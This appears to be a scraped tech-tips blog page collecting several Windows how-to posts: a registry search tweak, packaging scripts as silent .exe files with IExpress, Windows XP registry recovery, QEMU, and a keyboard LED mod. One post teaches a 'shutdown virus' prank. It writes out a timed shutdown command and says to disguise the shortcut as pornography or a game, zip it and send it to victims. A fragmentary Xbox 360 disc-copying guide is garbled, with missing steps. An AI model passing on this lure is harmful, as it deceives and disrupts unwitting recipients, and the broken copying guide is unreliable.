Find every files on your PC by Editing registry

Posted by tech master  |  at  8:15 PM

When you search for a file in Windows (choose Start, Search, For Files or Folders, or press in any Explorer or folder window to open the search pane),
Windows searches only for file types it recognizes. Files that aren't listed in the 'Registered file types' list are ignored (to view this list, open Explorer, choose Tools, Folder Options, and click the File Types tab).

So while 'Read_Me.xyz' may be a perfectly good file name to you, Windows pays it no mind because of the unrecognized '.xyz' file extension. Fortunately, a simple edit of the Registry will make Windows search for every file, regardless of its extension. Open the Registry Editor as described above,
and then navigate to and select

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\ContentIndex.

Double-click the FilterFilesWithUnknownExtensions icon in the right
pane, change the 0 in the 'Value data' box to 1, and press <Enter>.

To convert a .bat or a .vbs file into an executable .exe file without any software

Posted by tech master  |  at  11:49 AM

Just Follow the steps and convert a .bat or a .vbs file into an executable .exe.

Step 1
Navigate to C:\Windows\System32 and locate the file named IEXPRESS.EXE

Step 2
Double Click to launch IEXPRESS.EXE or just type & enter iexpress.exe in start>run box.

Step 3
You will be presented with the initial welcome screen and be given two choices. Select “Create new Self Extraction Directive file.” Click Next.

Step 4
Next you will be presented with the Package Purpose screen. For our purposes select “Extract Files and run an installation command” and click the Next button.

Step 5
You will be presented with the Package Title screen, which will give you the opportunity to give your project a name. If you are so inclined give it a meaningful name. If like me you are never going to come back to this, name it whatever you want.

Step 6
You will next be presented with the Confirmation Prompt Screen. We would like the batch file to just be extracted and run so just choose “No Prompt” and click the Next Button.

Step 7
You are presented with the License Agreement window. If you don’t want your users to have to answer a prompt select “Do not display a license.”

Step 8
The Packaged Files window is where you will select your batch file (or .vbs). Click the Add button and browse to your desired file. Then click next.

Step 9
Here you are presented with a window titled Install Program to Launch. Use the drop down control next to “Install Program and choose the only option that will be present, the .bat or .vbs file that you chose in the previous window.

Step 10
The Show Window screen is next. I didn’t want my users to be prompted in any way so I chose Hidden. Click Next.

Step 11
No Finished Message for my users. Select “No message” and choose Next.

Step 12
The Package Name and Options window is where the new .exe specified. Type in a path or browse to the folder you would like your .exe in, type a name in the file name box and click save. Also check the box that says “Hide File Extraction Progress Animation from User.” If you’re worried about long file names go ahead and click the other box as well.

Step 13
Since we really aren’t installing anything we probably want to tell the Configure Restart window to not restart. So choose the option that says “No restart” and hit Next.

Step 14
This window is where you have a chance to save all of the options you have chosen into a project file so that if necessary you may later return and make modifications. I have no need to retain the file, but if you would like to be able to come back to it, by all means choose “Save Self Extraction Directive (SED) file” and tell it where to put it. As always, click Next.

Step 15
Here’s where you’re new .exe is born, on the Create Package screen. Explore to the directory you told it to put the file in, click Next and then watch your little .exe’s first moments as it pops into the big digital world.

Step 16
You’re done! Click finish and go try it out.

How to Send Self-Destructing Emails

Posted by tech master  |  at  12:45 PM

Ever sent an email you later regretted writing? We all have, but it can be especially bad when those emails are sent to the wrong person or get leaked on the Internet. You might not know this, but there are many providers that offer self destructing email services. These services give you complete control over who reads them, how long they exist, or whether they can be printed, copied, or forwarded. Hey, you don't have to be a secret agent to send self-destructing emails, just a very smart geek with a reputation to maintain, so check out what these sites can do for you:

Will Self-Destruct:
This service is free. There's no sign up process, but you have to fill out a
web-based form with the recipient's email address, subject, and your message.
The recipient receives an email with a link to a web page containing your
message. Once the link is accessed, a countdown begins, and the message is
destroyed. The email itself looks like spam, so make sure you tell your friend
to expect something from willselfdestruct.com.
SDMessage and
Destructing Message are two
similar alternatives.


KickNotes: Another web-based service
that sends self-destructing messages after filling out a form. You can actually
control the times the message can be viewed or how long you want the message to
exist. Once the message is created, you can either send a link to a web page
through your own email address or from KickNotes.




These sites can be useful if you want to send password or other important information that you don't want other people to see.

2)Dual Layer DVD writer (expected sony or Liteon)

3)Verbatim Dual Layer DVD (DVD +R DL,not -R but +R)

4)DVDinfopro
free
- To change the Bit setting/book type to DVD Rom from DVD DL if u have
an LG/Hitachi Xbox 360 Drive.

5)DVD
decrypter


Step 1-

A) Now insert the Xbox 360 game in your Dual Layer DVD writer. Run
Schtrom360XtractV3.2.exe which you downloaded.

B) Select the Dual Layer Drive drive. Select the destination (where the image is
to be stored).

C) Click on extract. In at least 10-15 minutes u have your *.000 and *.dvd file.

D) Now eject the Dual Layer Drive after the image has been prepared.



Step 2-

A) Inert a blank Dual Layer DVD (DVD +R DL) in the Dual Layer Dvd Drive.

B) Open The *.dvd file in notepad. Then copy the number after the "Layerbreak="

C) Open DVD Decrypter. On the menu bar above click on tools then on settings.

radio button, User Specified.

F) Under the radio button there is the option to enter sectors in L0. Here paste
the number u copied.

G) All xbox 360 games have layer breaks at same number so you'll have to set
this only once.

How to recover from a corrupted registry that prevents Windows XP from starting

Posted by tech master  |  at  2:35 PM

When you try to start or restart your Windows XP-based computer, you may
receive one of the following error messages:



Windows XP could not start because the following file is
missing or corrupt: \WINDOWS\SYSTEM32\CONFIG\SYSTEM



Windows XP could not start because the following file is
missing or corrupt: \WINDOWS\SYSTEM32\CONFIG\SOFTWARE



Stop: c0000218 {Registry File Failure} The registry cannot
load the hive (file): \SystemRoot\System32\Config\SOFTWARE or its log or
alternate



System error: Lsass.exe

When trying to update a password the return status indicates that the value
provided as the current password is not correct.





Manual steps to recover a corrupted registry that prevents Windows XP from
starting


The procedure that this article describes uses Recovery Console and System
Restore. This article also lists all the required steps in specific order to
make sure that the process is fully completed. When you finish this procedure,
the system returns to a state very close to the state before the problem
occurred. If you have ever run NTBackup and completed a system state backup, you
do not have to follow the procedures in parts two and three. You can go to part
four.


Part one

In part one, you start the Recovery Console, create a temporary folder, back up
the existing registry files to a new location, delete the registry files at
their existing location, and then copy the registry files from the repair folder
to the System32\Config folder. When you have finished this procedure, a registry
is created that you can use to start Windows XP. This registry was created and
saved during the initial setup of Windows XP. Therefore any changes and settings
that occurred after the Setup program was finished are lost.



To complete part one, follow these steps:


1. Insert the Windows XP startup disk into the floppy disk drive, or insert
the Windows XP CD-ROM into the CD-ROM drive, and then restart the computer.

Click to select any options that are required to start the computer from the
CD-ROM drive if you are prompted to do so.

2. When the "Welcome to Setup" screen appears, press R to start the Recovery
Console.

3. If you have a dual-boot or multiple-boot computer, select the installation
that you want to access from the Recovery Console.

4. When you are prompted to do so, type the Administrator password. If the
administrator password is blank, just press ENTER.

5. At the Recovery Console command prompt, type the following lines, pressing
ENTER after you type each line:


md tmp

copy c:\windows\system32\config\system c:\windows\tmp\system.bak

copy c:\windows\system32\config\software c:\windows\tmp\software.bak

copy c:\windows\system32\config\sam c:\windows\tmp\sam.bak

copy c:\windows\system32\config\security c:\windows\tmp\security.bak

copy c:\windows\system32\config\default c:\windows\tmp\default.bak



delete c:\windows\system32\config\system

delete c:\windows\system32\config\software

delete c:\windows\system32\config\sam

delete c:\windows\system32\config\security

delete c:\windows\system32\config\default



copy c:\windows\repair\system c:\windows\system32\config\system

copy c:\windows\repair\software c:\windows\system32\config\software

copy c:\windows\repair\sam c:\windows\system32\config\sam

copy c:\windows\repair\security c:\windows\system32\config\security

copy c:\windows\repair\default c:\windows\system32\config\default


6. Type exit to quit Recovery Console. Your computer will restart.

Note :- This procedure assumes that Windows XP is installed to the C:\Windows
folder. Make sure to change C:\Windows to the appropriate windows_folder if it
is a different location.



If you have access to another computer, to save time, you can copy the text in
step five, and then create a text file called "Regcopy1.txt" (for example). To
use this file, run the following command when you start in Recovery Console:                                                                                                                                                             


batch regcopy1.txt

With the batch command in Recovery Console, you can process all the commands in
a text file sequentially. When you use the batch command, you do not have to
manually type as many commands.


Part two

To complete the procedure described in this section, you must be logged on as an
administrator, or an administrative user (a user who has an account in the
Administrators group). If you are using Windows XP Home Edition, you can log on
as an administrative user. If you log on as an administrator, you must first
start Windows XP Home Edition in Safe mode. To start the Windows XP Home Edition
computer in Safe mode, follow these steps.



Note Print these instructions before you continue. You cannot view these
instructions after you restart the computer in Safe Mode. If you use the NTFS
file system, also print the instructions from Knowledge Base article KB309531.
Step 7 contains a reference to the article.

1. Click Start, click Shut Down (or click Turn Off Computer), click Restart, and
then click OK (or click Restart).

2. Press the F8 key.



On a computer that is configured to start to multiple operating systems, you can
press F8 when you see the Startup menu.

3. Use the arrow keys to select the appropriate Safe mode option, and then press
ENTER.

4. If you have a dual-boot or multiple-boot system, use the arrow keys to select
the installation that you want to access, and then press ENTER.

In part two, you copy the registry files from their backed up location by using
System Restore. This folder is not available in Recovery Console and is
generally not visible during typical usage. Before you start this procedure, you
must change several settings to make the folder visible:


1. Start Windows Explorer.

2. On the Tools menu, click Folder options.

3. Click the View tab.

4. Under Hidden files and folders, click to select Show hidden files and
folders, and then click to clear the Hide protected operating system files
(Recommended) check box.

5. Click Yes when the dialog box that confirms that you want to display these
files appears.

6. Double-click the drive where you installed Windows XP to display a list of
the folders. If is important to click the correct drive.

7. Open the System Volume Information folder. This folder is unavailable and
appears dimmed because it is set as a super-hidden folder.



Note This folder contains one or more _restore {GUID} folders such as
"_restore{87BD3667-3246-476B-923F-F86E30B3E7F8}".


8. Open a folder that was not created at the current time. You may have to
click Details on the View menu to see when these folders were created. There may
be one or more folders starting with "RPx under this folder. These are restore
points.

9. Open one of these folders to locate a Snapshot subfolder. The following path
is an example of a folder path to the Snapshot folder:

C:\System Volume
Information\_restore{D86480E3-73EF-47BC-A0EB-A81BE6EE3ED8}\RP1\Snapshot

10. From the Snapshot folder, copy the following files to the C:\Windows\Tmp
folder:

• _REGISTRY_USER_.DEFAULT

• _REGISTRY_MACHINE_SECURITY

• _REGISTRY_MACHINE_SOFTWARE

• _REGISTRY_MACHINE_SYSTEM

• _REGISTRY_MACHINE_SAM

11. Rename the files in the C:\Windows\Tmp folder as follows:

• Rename _REGISTRY_USER_.DEFAULT to DEFAULT

• Rename _REGISTRY_MACHINE_SECURITY to SECURITY

• Rename _REGISTRY_MACHINE_SOFTWARE to SOFTWARE

• Rename _REGISTRY_MACHINE_SYSTEM to SYSTEM

• Rename _REGISTRY_MACHINE_SAM to SAM

These files are the backed up registry files from System Restore. Because you
used the registry file that the Setup program created, this registry does not
know that these restore points exist and are available. A new folder is created
with a new GUID under System Volume Information and a restore point is created
that includes a copy of the registry files that were copied during part one.
Therefore, it is important not to use the most current folder, especially if the
time stamp on the folder is the same as the current time.



The current system configuration is not aware of the previous restore points.
You must have a previous copy of the registry from a previous restore point to
make the previous restore points available again.



The registry files that were copied to the Tmp folder in the C:\Windows folder
are moved to make sure that the files are available under Recovery Console. You
must use these files to replace the registry files currently in the
C:\Windows\System32\Config folder. By default, Recovery Console has limited
folder access and cannot copy files from the System Volume folder.


Part Three

In part three, you delete the existing registry files, and then copy the System
Restore Registry files to the C:\Windows\System32\Config folder:

1. Start Recovery Console.

2. At the command prompt, type the following lines, pressing ENTER after you
type each line:

del c:\windows\system32\config\sam



del c:\windows\system32\config\security



del c:\windows\system32\config\software



del c:\windows\system32\config\default



del c:\windows\system32\config\system



copy c:\windows\tmp\software c:\windows\system32\config\software



copy c:\windows\tmp\system c:\windows\system32\config\system



copy c:\windows\tmp\sam c:\windows\system32\config\sam



copy c:\windows\tmp\security c:\windows\system32\config\security



copy c:\windows\tmp\default c:\windows\system32\config\default


Note Some of these command lines may be wrapped for readability.

3. Type exit to quit Recovery Console. Your computer restarts.

Note This procedure assumes that Windows XP is installed to the C:\Windows
folder. Make sure to change C:\Windows to the appropriate windows_folder if it
is a different location.



If you have access to another computer, to save time, you can copy the text in
step two, and then create a text file called "Regcopy2.txt" (for example). To
use this file, run the following command when you start in Recovery Console:

batch regcopy2.txt


Part Four

1. Click Start, and then click All Programs.

2. Click Accessories, and then click System Tools.

3. Click System Restore, and then click Restore to a previous RestorePoint.

Shutdown a Computer via MSN

Posted by tech master  |  at  12:26 PM

Well it's not really a virus of a hack because it doesn't damage anything. But that aside what it will do is shutdown the victim’s computer, this can be put in MSN convos so it is VERY fun to have, and it can also be put in emails and such like things.

1) Right click on desk top, and then go New, then Shortcut.

2) Then in the "type location of the item" you want to type:
%windir%\system32\shutdown.exe -s -t 120 -c "This is a virus"


You can change "this is a virus" to anything you would like that’s just the message that will appear.
The 120 you typed in can also be change at will, this is simply the amount of time they receive in till there computer will shutdown.
Once the code has been entered as you have seen above click next.

My advice would be to rename it something like.... wicked game, hardcore porn. Depends on the victim’s age and sex. But make sure you call it something good or the victim won't bother clicking on it.
After you have given it a name click on finish.
You should now have an icon on your desktop that is called "wicked game" or whatever name you gave it.
It is also advised you change the icon to something different.

3) Change name and icon.

4) Now to send it to some one you need to make a compressed file.
This can be done by right clicking on the desktop, New, Compressed file (zipped)
Then another folder should appear on your desktop click on this and drag your shutdown virus into the zipped folder.

5) Once your shutdown virus is in your compressed folder rename it.
Make sure to give it a similar name as to the file inside it like "Great Game.zip"
Don’t forget to add the .zip at the end.
WARING! Make sure when you rename the compressed folder to add .zip at the end it is very important.

Now feel free to send it to anyone.

As a safe guard I will tell you how to stop the shutdown count down. Just encase you ever click it your self LOL
Ok go to start, run, type cmd, then in cmd type: shutdown -a
That’s about it have fun guys.

Run Fedora 7 Inside Windows OS

Posted by tech master  |  at  3:31 PM

You dont need vmware workstation/player(which sometimes slow down ur system) to be installed in your system.
Although the following are required:
1. Qemu (an emulation software)
2. Fedora 7
First download the qemu emulator for windows and extract the content to any of your drive
Go to the folder where you extracted the emulator from the command prompt

Step1: Create an empty hard disk image virtually of any size using the command

qemu-img.exe create -f qcow fedora_7.img 8G


now that we have created a virtual hdd of 8GB in size

Step2: Insert your dvd

qemu.exe -L . -cdrom "\\.\I:" -hda fedora_7.img -m 256 -boot d



this will allow you to perform a normal installation of fedora os. Instead of I: you can specify your dvd drive letter and you can always increase or decrease the ram size allocated by changing the number256

Step3: If installation has finished, you can use installed OS

qemu -L . -hda fedora_7.img -m 256





Optional: Alternatively you can create a batch file for the last step to include the following lines


REM Start qemu on windows.
@ECHO OFF

qemu -L . -hda fedora_7.img -m 256


save the file with any name and extension .BAT(something like Run_Fedora7.bat)
Create a shortcut on desktop to this file....so that when u click the link it will automatically run fedora-7 inside your windows operating system.

Mod your keyboard

Posted by tech master  |  at  12:48 PM

Disclaimer: This tutorial is presented for moding your keyboard and is adviced to perform this tut only if you are interested and wants to take the risk ! This is for the illustration purposes only. I (Tech&ME) can not be held responsible for damages resulting from anything that you may decide to do to your hardware. I also can not and will not be held responsible for injury to your self or others as a result of attempting to mod your keyboard or for others. (You can try this with your old hardware first)

So you still have those ugly green LED’s on that keyboard of yours? In this tut, I’ll show you how to hook up some new good looking LED’s to that keyboard to give your desktop a new look!

This is a very simple, yet very attractive mod which will cost you very very less.

Parts Required:



3 X - 3mm/5mm LED’s (Blue, Red, Green, UV)
Soldering Iron
Solder
Screwdriver

(some keyboard have more than 3 led's so purchase according to your requirements)



Step 1: Flip the keyboard over and locate the screws. My keyboard had 10 screws, all in visible areas so locating the screws was not a problem. Take your screwdriver and start unscrewing all the screws one by one. Remember to keep all the screws in a safe place, and to separate the different sizes so that putting it back together won’t be a problem.

In the meanwhile plug in your soldering iron, and let it heat up.

Step 2: Once all the screws have been removed, take off the back plate and locate the PCB on the top left corner of the keyboard.
There will be a screw or two holding it down. Unscrew those screws and lift the PCB to reveal the LED’s and other components.



The LED’s will be mounted there. (remember not to touch the circuits and other parts of the PCB with your hands!)

Step 3: This is where your soldering iron and your soldering skills are put to the test (sort of!).



Turn over the PCB and de-solder the first LED. Make sure you do not place the iron on the PCB for long periods of time or else, the soldering iron will burn right through it!

Step 4 : Once that is done put in your LED’s.



Remember to put the long lead of the LED through the hole with the + sign! Do the same with the remaining LED’s.

Step 5: Screw the PCB back in place. Adjust the electronic pad (the rubber sheet & the drawn circuit sheet), so that it is aligned properly with respect to every key and also the PCB – Very Important step.

Step 6: Screw the back plate in place and connect your keyboard to PC and in on.



And that's when you start getting a new look from your desktop!

I hope you enjoyed this tutorial. And if you have done the moding or not please comment !

Your suggestions and comments are important to me so please post them here!

I do not take the full credit for this tuturial since many other people were also involved.
